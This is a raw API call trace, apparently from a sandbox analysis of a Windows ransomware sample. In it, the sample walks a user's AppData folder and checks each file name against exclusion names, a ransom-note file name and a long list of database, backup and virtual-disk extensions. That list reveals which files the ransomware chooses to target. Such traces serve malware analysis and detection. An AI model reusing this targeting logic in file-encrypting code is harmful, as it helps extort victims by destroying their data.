	[0040.778] lstrcmpiW (lpString1="q.gif", lpString2="kexic") returned 1
	[0040.778] lstrlenW (lpString="kexis") returned 5
	[0040.778] lstrcmpiW (lpString1="q.gif", lpString2="kexis") returned 1
	[0040.778] lstrlenW (lpString="lgc") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1
	[0040.778] lstrlenW (lpString="lwx") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1
	[0040.778] lstrlenW (lpString="maf") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1
	[0040.778] lstrlenW (lpString="maq") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1
	[0040.779] lstrlenW (lpString="mar") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1
	[0040.779] lstrlenW (lpString="marshal") returned 7
	[0040.779] lstrcmpiW (lpString1="TWq.gif", lpString2="marshal") returned 1
	[0040.779] lstrlenW (lpString="mas") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1
	[0040.779] lstrlenW (lpString="mav") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1
	[0040.779] lstrlenW (lpString="maw") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1
	[0040.779] lstrlenW (lpString="mdbhtml") returned 7
	[0040.779] lstrcmpiW (lpString1="TWq.gif", lpString2="mdbhtml") returned 1
	[0040.779] lstrlenW (lpString="mdn") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1
	[0040.779] lstrlenW (lpString="mdt") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1
	[0040.779] lstrlenW (lpString="mfd") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1
	[0040.779] lstrlenW (lpString="mpd") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1
	[0040.779] lstrlenW (lpString="mrg") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1
	[0040.779] lstrlenW (lpString="mud") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1
	[0040.779] lstrlenW (lpString="mwb") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1
	[0040.779] lstrlenW (lpString="myd") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1
	[0040.779] lstrlenW (lpString="ndf") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1
	[0040.779] lstrlenW (lpString="nnt") returned 3
	[0040.779] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1
	[0040.779] lstrlenW (lpString="nrmlib") returned 6
	[0040.779] lstrcmpiW (lpString1="Wq.gif", lpString2="nrmlib") returned 1
	[0040.780] lstrlenW (lpString="ns2") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1
	[0040.780] lstrlenW (lpString="ns3") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1
	[0040.780] lstrlenW (lpString="ns4") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1
	[0040.780] lstrlenW (lpString="nsf") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1
	[0040.780] lstrlenW (lpString="nv") returned 2
	[0040.780] lstrcmpiW (lpString1="if", lpString2="nv") returned -1
	[0040.780] lstrlenW (lpString="nv2") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1
	[0040.780] lstrlenW (lpString="nwdb") returned 4
	[0040.780] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1
	[0040.780] lstrlenW (lpString="nyf") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1
	[0040.780] lstrlenW (lpString="odb") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0040.780] lstrlenW (lpString="odb") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0040.780] lstrlenW (lpString="oqy") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1
	[0040.780] lstrlenW (lpString="ora") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1
	[0040.780] lstrlenW (lpString="orx") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1
	[0040.780] lstrlenW (lpString="owc") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1
	[0040.780] lstrlenW (lpString="p96") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1
	[0040.780] lstrlenW (lpString="p97") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1
	[0040.780] lstrlenW (lpString="pan") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1
	[0040.780] lstrlenW (lpString="pdb") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1
	[0040.780] lstrlenW (lpString="pdm") returned 3
	[0040.780] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1
	[0040.781] lstrlenW (lpString="pnz") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1
	[0040.781] lstrlenW (lpString="qry") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1
	[0040.781] lstrlenW (lpString="qvd") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1
	[0040.781] lstrlenW (lpString="rbf") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1
	[0040.781] lstrlenW (lpString="rctd") returned 4
	[0040.781] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1
	[0040.781] lstrlenW (lpString="rod") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1
	[0040.781] lstrlenW (lpString="rodx") returned 4
	[0040.781] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1
	[0040.781] lstrlenW (lpString="rpd") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1
	[0040.781] lstrlenW (lpString="rsd") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1
	[0040.781] lstrlenW (lpString="sas7bdat") returned 8
	[0040.781] lstrcmpiW (lpString1="4TWq.gif", lpString2="sas7bdat") returned -1
	[0040.781] lstrlenW (lpString="sbf") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1
	[0040.781] lstrlenW (lpString="scx") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1
	[0040.781] lstrlenW (lpString="sdb") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1
	[0040.781] lstrlenW (lpString="sdc") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1
	[0040.781] lstrlenW (lpString="sdf") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1
	[0040.781] lstrlenW (lpString="sis") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1
	[0040.781] lstrlenW (lpString="spq") returned 3
	[0040.781] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1
	[0040.781] lstrlenW (lpString="te") returned 2
	[0040.781] lstrcmpiW (lpString1="if", lpString2="te") returned -1
	[0040.781] lstrlenW (lpString="teacher") returned 7
	[0040.782] lstrcmpiW (lpString1="TWq.gif", lpString2="teacher") returned 1
	[0040.782] lstrlenW (lpString="tmd") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1
	[0040.782] lstrlenW (lpString="tps") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1
	[0040.782] lstrlenW (lpString="trc") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0040.782] lstrlenW (lpString="trc") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0040.782] lstrlenW (lpString="trm") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1
	[0040.782] lstrlenW (lpString="udb") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1
	[0040.782] lstrlenW (lpString="udl") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1
	[0040.782] lstrlenW (lpString="usr") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1
	[0040.782] lstrlenW (lpString="v12") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1
	[0040.782] lstrlenW (lpString="vis") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1
	[0040.782] lstrlenW (lpString="vpd") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1
	[0040.782] lstrlenW (lpString="vvv") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1
	[0040.782] lstrlenW (lpString="wdb") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1
	[0040.782] lstrlenW (lpString="wmdb") returned 4
	[0040.782] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1
	[0040.782] lstrlenW (lpString="wrk") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1
	[0040.782] lstrlenW (lpString="xdb") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1
	[0040.782] lstrlenW (lpString="xld") returned 3
	[0040.782] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1
	[0040.782] lstrlenW (lpString="xmlff") returned 5
	[0040.782] lstrcmpiW (lpString1="q.gif", lpString2="xmlff") returned -1
	[0040.783] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb75bfb80, ftCreationTime.dwHighDateTime=0x1d4cdf4, ftLastAccessTime.dwLowDateTime=0xa8979a00, ftLastAccessTime.dwHighDateTime=0x1d4d155, ftLastWriteTime.dwLowDateTime=0xa8979a00, ftLastWriteTime.dwHighDateTime=0x1d4d155, nFileSizeHigh=0x0, nFileSizeLow=0x302c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1GGT_X.mp4", cAlternateFileName="")) returned 1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="Apollon865.txt.exe") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2=".") returned 1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="..") returned 1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="windows") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="bootmgr") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="temp") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="pagefile.sys") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="boot") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="ids.txt") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="ntuser.dat") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="perflogs") returned -1
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2="MSBuild") returned -1
	[0040.783] lstrlenW (lpString="1GGT_X.mp4") returned 10
	[0040.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-5pF4TWq.gif") returned 58
	[0040.783] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="1GGT_X.mp4" | out: lpString1="1GGT_X.mp4") returned="1GGT_X.mp4"
	[0040.783] lstrlenW (lpString="1GGT_X.mp4") returned 10
	[0040.783] lstrlenW (lpString="Apollon865") returned 10
	[0040.783] lstrlenW (lpString=".dll") returned 4
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2=".dll") returned 1
	[0040.783] lstrlenW (lpString=".lnk") returned 4
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2=".lnk") returned 1
	[0040.783] lstrlenW (lpString=".ini") returned 4
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2=".ini") returned 1
	[0040.783] lstrlenW (lpString=".sys") returned 4
	[0040.783] lstrcmpiW (lpString1="1GGT_X.mp4", lpString2=".sys") returned 1
	[0040.783] lstrlenW (lpString="1GGT_X.mp4") returned 10
	[0040.783] lstrlenW (lpString="bak") returned 3
	[0040.783] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1
	[0040.783] lstrlenW (lpString="ba_") returned 3
	[0040.783] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1
	[0040.783] lstrlenW (lpString="dbb") returned 3
	[0040.783] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1
	[0040.783] lstrlenW (lpString="vmdk") returned 4
	[0040.783] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1
	[0040.783] lstrlenW (lpString="rar") returned 3
	[0040.783] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1
	[0040.784] lstrlenW (lpString="zip") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1
	[0040.784] lstrlenW (lpString="tgz") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1
	[0040.784] lstrlenW (lpString="vbox") returned 4
	[0040.784] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1
	[0040.784] lstrlenW (lpString="vdi") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1
	[0040.784] lstrlenW (lpString="vhd") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1
	[0040.784] lstrlenW (lpString="vhdx") returned 4
	[0040.784] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1
	[0040.784] lstrlenW (lpString="avhd") returned 4
	[0040.784] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1
	[0040.784] lstrlenW (lpString="db") returned 2
	[0040.784] lstrcmpiW (lpString1="p4", lpString2="db") returned 1
	[0040.784] lstrlenW (lpString="db2") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1
	[0040.784] lstrlenW (lpString="db3") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1
	[0040.784] lstrlenW (lpString="dbf") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1
	[0040.784] lstrlenW (lpString="mdf") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1
	[0040.784] lstrlenW (lpString="mdb") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1
	[0040.784] lstrlenW (lpString="sql") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1
	[0040.784] lstrlenW (lpString="sqlite") returned 6
	[0040.784] lstrcmpiW (lpString1="_X.mp4", lpString2="sqlite") returned -1
	[0040.784] lstrlenW (lpString="sqlite3") returned 7
	[0040.784] lstrcmpiW (lpString1="T_X.mp4", lpString2="sqlite3") returned 1
	[0040.784] lstrlenW (lpString="sqlitedb") returned 8
	[0040.784] lstrcmpiW (lpString1="GT_X.mp4", lpString2="sqlitedb") returned -1
	[0040.784] lstrlenW (lpString="xml") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1
	[0040.784] lstrlenW (lpString="$er") returned 3
	[0040.784] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1
	[0040.785] lstrlenW (lpString="4dd") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1
	[0040.785] lstrlenW (lpString="4dl") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1
	[0040.785] lstrlenW (lpString="^^^") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1
	[0040.785] lstrlenW (lpString="abs") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1
	[0040.785] lstrlenW (lpString="abx") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1
	[0040.785] lstrlenW (lpString="accdb") returned 5
	[0040.785] lstrcmpiW (lpString1="X.mp4", lpString2="accdb") returned 1
	[0040.785] lstrlenW (lpString="accdc") returned 5
	[0040.785] lstrcmpiW (lpString1="X.mp4", lpString2="accdc") returned 1
	[0040.785] lstrlenW (lpString="accde") returned 5
	[0040.785] lstrcmpiW (lpString1="X.mp4", lpString2="accde") returned 1
	[0040.785] lstrlenW (lpString="accdr") returned 5
	[0040.785] lstrcmpiW (lpString1="X.mp4", lpString2="accdr") returned 1
	[0040.785] lstrlenW (lpString="accdt") returned 5
	[0040.785] lstrcmpiW (lpString1="X.mp4", lpString2="accdt") returned 1
	[0040.785] lstrlenW (lpString="accdw") returned 5
	[0040.785] lstrcmpiW (lpString1="X.mp4", lpString2="accdw") returned 1
	[0040.785] lstrlenW (lpString="accft") returned 5
	[0040.785] lstrcmpiW (lpString1="X.mp4", lpString2="accft") returned 1
	[0040.785] lstrlenW (lpString="adb") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0040.785] lstrlenW (lpString="adb") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0040.785] lstrlenW (lpString="ade") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1
	[0040.785] lstrlenW (lpString="adf") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1
	[0040.785] lstrlenW (lpString="adn") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1
	[0040.785] lstrlenW (lpString="adp") returned 3
	[0040.785] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1
	[0040.785] lstrlenW (lpString="alf") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1
	[0040.786] lstrlenW (lpString="ask") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1
	[0040.786] lstrlenW (lpString="btr") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1
	[0040.786] lstrlenW (lpString="cat") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1
	[0040.786] lstrlenW (lpString="cdb") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1
	[0040.786] lstrlenW (lpString="ckp") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1
	[0040.786] lstrlenW (lpString="cma") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1
	[0040.786] lstrlenW (lpString="cpd") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1
	[0040.786] lstrlenW (lpString="dacpac") returned 6
	[0040.786] lstrcmpiW (lpString1="_X.mp4", lpString2="dacpac") returned -1
	[0040.786] lstrlenW (lpString="dad") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1
	[0040.786] lstrlenW (lpString="dadiagrams") returned 10
	[0040.786] lstrlenW (lpString="daschema") returned 8
	[0040.786] lstrcmpiW (lpString1="GT_X.mp4", lpString2="daschema") returned 1
	[0040.786] lstrlenW (lpString="db-journal") returned 10
	[0040.786] lstrlenW (lpString="db-shm") returned 6
	[0040.786] lstrcmpiW (lpString1="_X.mp4", lpString2="db-shm") returned -1
	[0040.786] lstrlenW (lpString="db-wal") returned 6
	[0040.786] lstrcmpiW (lpString1="_X.mp4", lpString2="db-wal") returned -1
	[0040.786] lstrlenW (lpString="dbc") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1
	[0040.786] lstrlenW (lpString="dbs") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1
	[0040.786] lstrlenW (lpString="dbt") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1
	[0040.786] lstrlenW (lpString="dbv") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1
	[0040.786] lstrlenW (lpString="dbx") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1
	[0040.786] lstrlenW (lpString="dcb") returned 3
	[0040.786] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1
	[0040.787] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1
	[0040.787] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1
	[0040.787] lstrcmpiW (lpString1="mp4", lpString2="ddl") returned 1
	[0040.787] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="29XyHLjc9TJMt9.mp4" | out: lpString1="29XyHLjc9TJMt9.mp4") returned="29XyHLjc9TJMt9.mp4"
	[0040.787] lstrlenW (lpString="29XyHLjc9TJMt9.mp4") returned 18
	[0040.787] lstrlenW (lpString="Apollon865") returned 10
	[0040.787] lstrcmpiW (lpString1="9TJMt9.mp4", lpString2="Apollon865") returned -1
	[0040.787] lstrlenW (lpString=".dll") returned 4
	[0040.787] lstrcmpiW (lpString1="29XyHLjc9TJMt9.mp4", lpString2=".dll") returned 1
	[0040.787] lstrlenW (lpString=".lnk") returned 4
	[0040.787] lstrcmpiW (lpString1="29XyHLjc9TJMt9.mp4", lpString2=".lnk") returned 1
	[0040.787] lstrlenW (lpString=".ini") returned 4
	[0040.787] lstrcmpiW (lpString1="29XyHLjc9TJMt9.mp4", lpString2=".ini") returned 1
	[0040.787] lstrlenW (lpString=".sys") returned 4
	[0040.787] lstrcmpiW (lpString1="29XyHLjc9TJMt9.mp4", lpString2=".sys") returned 1
	[0040.787] lstrlenW (lpString="29XyHLjc9TJMt9.mp4") returned 18
	[0040.787] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0040.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0040.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599a78
	[0040.787] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0040.787] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb257b40, ftCreationTime.dwHighDateTime=0x1d4cc27, ftLastAccessTime.dwLowDateTime=0xce419da0, ftLastAccessTime.dwHighDateTime=0x1d4ce71, ftLastWriteTime.dwLowDateTime=0xce419da0, ftLastWriteTime.dwHighDateTime=0x1d4ce71, nFileSizeHigh=0x0, nFileSizeLow=0x1184f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CfnMdFkbvA.ppt", cAlternateFileName="CFNMDF~1.PPT")) returned 1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="Apollon865.txt.exe") returned 1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2=".") returned 1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="..") returned 1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="windows") returned -1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="bootmgr") returned 1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="temp") returned -1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="pagefile.sys") returned -1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="boot") returned 1
	[0040.787] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="ids.txt") returned -1
	[0040.788] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="ntuser.dat") returned -1
	[0040.788] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="perflogs") returned -1
	[0040.788] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2="MSBuild") returned -1
	[0040.788] lstrlenW (lpString="CfnMdFkbvA.ppt") returned 14
	[0040.788] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned 51
	[0040.788] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="CfnMdFkbvA.ppt" | out: lpString1="CfnMdFkbvA.ppt") returned="CfnMdFkbvA.ppt"
	[0040.788] lstrlenW (lpString="CfnMdFkbvA.ppt") returned 14
	[0040.788] lstrlenW (lpString="Apollon865") returned 10
	[0040.788] lstrcmpiW (lpString1="dFkbvA.ppt", lpString2="Apollon865") returned 1
	[0040.788] lstrlenW (lpString=".dll") returned 4
	[0040.788] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2=".dll") returned 1
	[0040.788] lstrlenW (lpString=".lnk") returned 4
	[0040.788] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2=".lnk") returned 1
	[0040.788] lstrlenW (lpString=".ini") returned 4
	[0040.788] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2=".ini") returned 1
	[0040.788] lstrlenW (lpString=".sys") returned 4
	[0040.788] lstrcmpiW (lpString1="CfnMdFkbvA.ppt", lpString2=".sys") returned 1
	[0040.788] lstrlenW (lpString="CfnMdFkbvA.ppt") returned 14
	[0040.788] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="F1aeXj3swtGxZO.gif" | out: lpString1="F1aeXj3swtGxZO.gif") returned="F1aeXj3swtGxZO.gif"
	[0040.788] lstrlenW (lpString="F1aeXj3swtGxZO.gif") returned 18
	[0040.788] lstrlenW (lpString="Apollon865") returned 10
	[0040.788] lstrcmpiW (lpString1="wtGxZO.gif", lpString2="Apollon865") returned 1
	[0040.788] lstrlenW (lpString=".dll") returned 4
	[0040.788] lstrcmpiW (lpString1="F1aeXj3swtGxZO.gif", lpString2=".dll") returned 1
	[0040.788] lstrlenW (lpString=".lnk") returned 4
	[0040.788] lstrcmpiW (lpString1="F1aeXj3swtGxZO.gif", lpString2=".lnk") returned 1
	[0040.788] lstrlenW (lpString=".ini") returned 4
	[0040.788] lstrcmpiW (lpString1="F1aeXj3swtGxZO.gif", lpString2=".ini") returned 1
	[0040.788] lstrlenW (lpString=".sys") returned 4
	[0040.788] lstrcmpiW (lpString1="F1aeXj3swtGxZO.gif", lpString2=".sys") returned 1
	[0040.788] lstrlenW (lpString="F1aeXj3swtGxZO.gif") returned 18
	[0040.788] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="ff4pka9Ws-9XJq.m4a" | out: lpString1="ff4pka9Ws-9XJq.m4a") returned="ff4pka9Ws-9XJq.m4a"
	[0040.788] lstrlenW (lpString="ff4pka9Ws-9XJq.m4a") returned 18
	[0040.788] lstrlenW (lpString="Apollon865") returned 10
	[0040.788] lstrcmpiW (lpString1="s-9XJq.m4a", lpString2="Apollon865") returned 1
	[0040.788] lstrlenW (lpString=".dll") returned 4
	[0040.789] lstrcmpiW (lpString1="ff4pka9Ws-9XJq.m4a", lpString2=".dll") returned 1
	[0040.789] lstrlenW (lpString=".lnk") returned 4
	[0040.789] lstrcmpiW (lpString1="ff4pka9Ws-9XJq.m4a", lpString2=".lnk") returned 1
	[0040.789] lstrlenW (lpString=".ini") returned 4
	[0040.789] lstrcmpiW (lpString1="ff4pka9Ws-9XJq.m4a", lpString2=".ini") returned 1
	[0040.789] lstrlenW (lpString=".sys") returned 4
	[0040.789] lstrcmpiW (lpString1="ff4pka9Ws-9XJq.m4a", lpString2=".sys") returned 1
	[0040.789] lstrlenW (lpString="ff4pka9Ws-9XJq.m4a") returned 18
	[0040.789] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="fj_TIv3HjBtxMdBiEa.mkv" | out: lpString1="fj_TIv3HjBtxMdBiEa.mkv") returned="fj_TIv3HjBtxMdBiEa.mkv"
	[0040.789] lstrlenW (lpString="fj_TIv3HjBtxMdBiEa.mkv") returned 22
	[0040.789] lstrlenW (lpString="Apollon865") returned 10
	[0040.789] lstrcmpiW (lpString1="MdBiEa.mkv", lpString2="Apollon865") returned 1
	[0040.789] lstrlenW (lpString=".dll") returned 4
	[0040.789] lstrcmpiW (lpString1="fj_TIv3HjBtxMdBiEa.mkv", lpString2=".dll") returned 1
	[0040.789] lstrlenW (lpString=".lnk") returned 4
	[0040.789] lstrcmpiW (lpString1="fj_TIv3HjBtxMdBiEa.mkv", lpString2=".lnk") returned 1
	[0040.789] lstrlenW (lpString=".ini") returned 4
